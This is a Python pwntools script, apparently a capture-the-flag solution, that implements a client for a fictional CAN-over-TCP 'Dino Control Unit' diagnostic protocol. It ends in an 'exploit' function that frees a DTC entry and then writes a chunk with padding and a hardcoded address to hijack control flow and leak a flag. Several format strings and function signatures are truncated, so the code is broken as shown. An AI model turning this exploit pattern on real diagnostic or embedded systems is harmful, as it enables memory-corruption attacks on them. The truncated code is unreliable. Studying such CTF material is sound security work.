""" DCU Client - Dino Control Unit interface using pwntools Implements CAN-over-TCP framing for UDS (Unified Dino Services) Usage: python dcu_client.py [host] [port] Or import and use DCUClient directly. """ import struct import sys from pwn import * # ───────────────────────────────────────────── # CAN Frame Layout (struct can_frame, 16 bytes) # uint32_t can_id # uint8_t can_dlc # uint8_t __pad # uint8_t __res0 # uint8_t __res1 # uint8_t data[8] # ───────────────────────────────────────────── CAN_FRAME_FMT = " bytes: """Pack a UDS payload into a 16-byte CAN frame (ISO-TP single frame).""" assert 1 <= len(payload) <= 7, "Payload must be 1–7 bytes for a single CAN frame" pci = len(payload) & 0x0F # PCI byte: SF type (0) + length data = bytes([pci]) + payload # prepend PCI data = data.ljust(8, b'\x00') # pad to 8 bytes frame = struct.pack(CAN_FRAME_FMT, can_id, # can_id len(payload), # can_dlc (actual UDS payload len) 0, 0, 0, # pad / res0 / res1 data) return frame def unpack_can_frame(raw: bytes) -> dict: """Unpack a 16-byte CAN frame into a dict.""" assert len(raw) == CAN_FRAME_SIZE can_id, dlc, pad, res0, res1, data = struct.unpack(CAN_FRAME_FMT, raw) pci = data[0] sf_len = pci & 0x0F return { "can_id" : can_id & 0x7FF, "dlc" : dlc, "pci" : pci, "sf_len" : sf_len, "data" : data, # full 8 bytes "payload" : data[1 : 1 + sf_len] if sf_len else data[1:], # UDS bytes } # ───────────────────────────────────────────────────────────────── # DCU Client # ───────────────────────────────────────────────────────────────── class DCUClient: def __init__(self, host: str = "localhost", port: int = 18088, verbose: bool = True, ssl: bool = False): self.host = host self.port = port self.verbose = verbose self.ssl = ssl self.io: tube = None # ── Connection ────────────────────────────────────────────── def connect(self): self.io = remote(self.host, self.port, ssl=self.ssl) log.success(f"Connected to DCU at {self.host}:{self.port}") return self def close(self): if self.io: self.io.close() def __enter__(self): return self.connect() def __exit__(self, *_): self.close() # ── Low-level I/O ─────────────────────────────────────────── def send_frame(self, payload: bytes, can_id: int = UDS_REQUEST_ID): """Send a raw UDS payload as a CAN frame.""" frame = pack_can_frame(can_id, payload) if self.verbose: log.debug(f"TX can_id=0x{can_id:03X} payload={payload.hex()}") self.io.send(frame) def recv_frame(self, timeout: float = 3.0) -> dict | None: """Receive one 16-byte CAN frame and unpack it.""" try: raw = self.io.recv(CAN_FRAME_SIZE, timeout=timeout) if len(raw) < CAN_FRAME_SIZE: raw += self.io.recv(CAN_FRAME_SIZE - len(raw), timeout=timeout) f = unpack_can_frame(raw) if self.verbose: log.debug(f"RX can_id=0x{f['can_id']:03X} payload={f['payload'].hex()}") return f except EOFError: log.warning("Connection closed by server") return None except Exception as e: log.warning(f"recv_frame: {e}") return None def recv_frames(self, count: int = 1, timeout: float = 3.0) -> list[dict]: """Receive up to `count` frames.""" frames = [] for _ in range(count): f = self.recv_frame(timeout=timeout) if f is None: break frames.append(f) return frames def transact(self, payload: bytes, can_id: int = UDS_REQUEST_ID, timeout: float = 3.0) -> dict | None: """Send a UDS payload and return the first response frame.""" self.send_frame(payload, can_id) return self.recv_frame(timeout=timeout) # ── UDS helpers ───────────────────────────────────────────── @staticmethod def is_positive(frame: dict) -> bool: return frame["payload"][0] != 0x7F if frame else False @staticmethod def is_negative(frame: dict) -> bool: return frame["payload"][0] == 0x7F if frame else True @staticmethod def nrc_name(nrc_byte: int) -> str: return NRC.get(nrc_byte, f"0x{nrc_byte:02X}") def check_response(self, frame: dict | None, label: str = "") -> bool: if frame is None: log.failure(f"{label}: no response") return False p = frame["payload"] if p[0] == 0x7F: nrc = p[2] if len(p) > 2 else 0 log.failure(f"{label}: NEGATIVE RESPONSE SID=0x{p[1]:02X} NRC={self.nrc_name(nrc)}") return False log.success(f"{label}: OK resp={p.hex()}") return True # ── Named service wrappers ─────────────────────────────────── def diag_session_ctrl(self, session_type: int = SESSION_EXTENDED) -> dict | None: """0x10 – DiagnosticSessionControl""" return self.transact(bytes([SID["DIAG_SESSION_CTRL"], session_type])) def security_request_seed(self) -> dict | None: """0x27 sub 0x01 – request seed""" return self.transact(bytes([SID["SECURITY_ACCESS"], 0x01])) def security_send_key(self, key: int) -> dict | None: """0x27 sub 0x02 – send key (4-byte LE int)""" payload = bytes([SID["SECURITY_ACCESS"], 0x02]) + struct.pack(" bool: """Full seed-key handshake. Returns True on success.""" r = self.security_request_seed() if not r or self.is_negative(r): log.failure("Failed to get seed") return False seed = struct.unpack(" dict | None: """0x22 – ReadDataByIdentifier""" payload = bytes([SID["READ_DID"], (did_id >> 8) & 0xFF, did_id & 0xFF]) return self.transact(payload) def write_did(self, did_id: int, data: bytes) -> dict | None: """0x2E – WriteDataByIdentifier""" payload = bytes([SID["WRITE_DID"], (did_id >> 8) & 0xFF, did_id & 0xFF]) + data return self.transact(payload) def clear_dtc(self, group: int = 0xFFFFFF) -> dict | None: """0x14 – ClearDiagnosticInformation (group=0xFFFFFF clears all)""" payload = bytes([SID["CLEAR_DTC"], (group >> 16) & 0xFF, (group >> 8) & 0xFF, group & 0xFF]) return self.transact(payload) def read_dtc_count(self) -> dict | None: """0x19 sub 0x01 – report number of DTCs""" return self.transact(bytes([SID["READ_DTC"], 0x01])) def read_dtc_by_status(self, mask: int = 0xFF) -> list[dict]: """0x19 sub 0x02 – report DTCs by status mask; drains multiple frames.""" self.send_frame(bytes([SID["READ_DTC"], 0x02, mask])) return self.recv_frames(count=16, timeout=1.0) def read_dtc_extended(self, dtc_code: int) -> dict | None: """0x19 sub 0x06 – report extended data for a specific DTC""" payload = bytes([SID["READ_DTC"], 0x06, (dtc_code >> 16) & 0xFF, (dtc_code >> 8) & 0xFF, dtc_code & 0xFF]) return self.transact(payload) def request_download(self, severity: int, dtc_code: int, status: int) -> dict | None: """0x34 – RequestDownload (register a new DTC entry)""" payload = bytes([SID["REQUEST_DOWNLOAD"], 0x00, # reserved severity & 0xFF, (dtc_code >> 16) & 0xFF, (dtc_code >> 8) & 0xFF, dtc_code & 0xFF, status & 0xFF]) return self.transact(payload) def transfer_data(self, dtc_idx: int, data: bytes) -> dict | None: """0x36 – TransferData (append to DTC description at index)""" payload = bytes([SID["TRANSFER_DATA"], dtc_idx & 0xFF]) + data return self.transact(payload) def routine_ctrl_start(self, did_id: int, total_len: int) -> dict | None: """0x31 sub 0x01 routine 0xFF01 – start extended write""" payload = bytes([SID["ROUTINE_CTRL"], 0x01, 0xFF, 0x01, (did_id >> 8) & 0xFF, did_id & 0xFF, total_len & 0xFF]) return self.transact(payload) def routine_ctrl_chunk(self, data: bytes) -> dict | None: """0x31 sub 0x03 routine 0xFF01 - send a data chunk. CAN frames hold 7 UDS bytes max (8 data bytes - 1 PCI byte). The header [0x31, 0x03, 0xFF, 0x01] costs 4 bytes, leaving 3 bytes of actual chunk data per frame. Large buffers are split automatically. """ CHUNK = 3 # bytes of payload data per frame last_response = None offset = 0 while offset < len(data): piece = data[offset:offset + CHUNK] payload = bytes([SID["ROUTINE_CTRL"], 0x03, 0xFF, 0x01]) + piece last_response = self.transact(payload) offset += CHUNK return last_response # ── Raw send ───────────────────────────────────────────────── def raw(self, payload: bytes, can_id: int = UDS_REQUEST_ID) -> dict | None: """Send arbitrary UDS bytes and receive one frame. For freeform testing.""" return self.transact(payload, can_id) # ───────────────────────────────────────────────────────────────── # Interactive demo / sanity check # ───────────────────────────────────────────────────────────────── def exploit(host, port, ssl): context.log_level = "info" with DCUClient(host, port, verbose=False, ssl=ssl) as dcu: log.info("Open extended session") r = dcu.diag_session_ctrl(SESSION_EXTENDED) dcu.check_response(r, "session_ctrl") log.info("Creating DTC") r = dcu.request_download(1, 1, 1) dcu.check_response(r, "session_ctrl") log.info("Clear dtc") dcu.clear_dtc() dcu.routine_ctrl_start(1, 64) dcu.routine_ctrl_chunk(b"A"*4 + p64(0x4016cf) + b"A" * 52) log.info("Added did entry") r = dcu.read_dtc_by_status() flag = b"" for i in r: if i["pci"] == 255: flag += i["payload"] print(flag.decode()) if __name__ == "__main__": host = sys.argv[1] if len(sys.argv) > 1 else "localhost" port = int(sys.argv[2]) if len(sys.argv) > 2 else 18088 ssl = bool(sys.argv[3]) if len(sys.argv) > 3 else False exploit(host, port, ssl=ssl)